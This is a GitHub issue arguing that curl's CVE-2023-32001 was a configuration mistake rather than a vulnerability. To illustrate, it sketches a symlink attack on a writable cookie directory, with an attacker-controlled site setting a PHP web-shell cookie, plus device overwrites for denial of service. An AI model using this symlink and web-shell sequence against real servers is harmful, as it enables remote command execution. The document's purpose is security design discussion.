-
-
Notifications
You must be signed in to change notification settings - Fork 7.1k
Description
I did this
n.b. While this is security related, we already had discussion about this on HackerOne where we decided that this isn't something that needs to reside there.
I argue that CVE-2023-32001 really wasn't a vulnerability. User of curl / libcurl must not hold any critical files in a directory that can be tampered by third-parties.
The argument behind the CVE-2023-32001 fix is that there is a race condition whereas the attacker can just switch the object type to allow overwriting files with the content that is being written with the function. However, for this to be a problem the attacker must be able to modify the directory to begin with.
First, the "security fix" only prevents access to regular files. You can still make the victim write to non-regular files, such as devices or pipes. This can be used to denial of service by writing over the beginning of a disk label (/dev/sdx etc) when curl is executed as appropriately privileged user.
Second, this "security fix" only prevents writing to already existing files. You can write to non-existing files just fine. Let's assume a naive PHP web application running on a server which the attacker also has local low-privileged access to. Let's assume the web application executes as www-data user and has write access to the location where the php files are hosted. Let's also imagine a functionality whereas curl will fetch some content while holding cookies in some insecure location where the attacker can modify the directory (write access to the directory). Say, let the PHP application use /opt/sillyapptmp/cookies.txt to hold the cookies while using curl (/opt/sillyapptmp is writable for the attacker user, as described).
The attacker then does:
- ln -s /var/www/sillyapp/shell.php /opt/sillyapptmp/cookies.txt
- The attacker triggers the target application to fetch URL https://attacker.controlled/
- The https://attacker.controlled/ does Set-Cookie: A=<?php passthru($_GET['cmd']); ?>. Once curl is done it writes the cookies and follows the softlink to /var/www/sillyapp/shell.php
Attacker can now execute arbitrary shell commands as www-data by invoking https:///targetapp/shell.php?cmd=shellcommandhere
This works perfectly fine regardless of the supposed CVE-2023-32001 fix, if the original premise of the "writable target directory" holds.
edited on 2022-08-21: While the target file is created, the check for the file means that the file will remain empty. While unwanted behaviour, this makes it unlikely to useful for attacker in most cases.
This attack (and CVE-2023-32001) only works if curl is used in a way that the files written by Curl_fopen are held in an insecure directory. This is a configuration mistake, not a vulnerability in curl. I thereby argue that CVE-2023-32001 really wasn't a vulnerability to begin with.
Now, accidents like this can still happen due to misconfiguration. It is however very hard to prevent exploiting them from a curl library perspective. It can be debated if this should even be attempted.
I expected the following
Maybe the documentation should be even more clear that this is not what curl / libcurl can defend against.
curl/libcurl version
curl 8.2.0
operating system
Any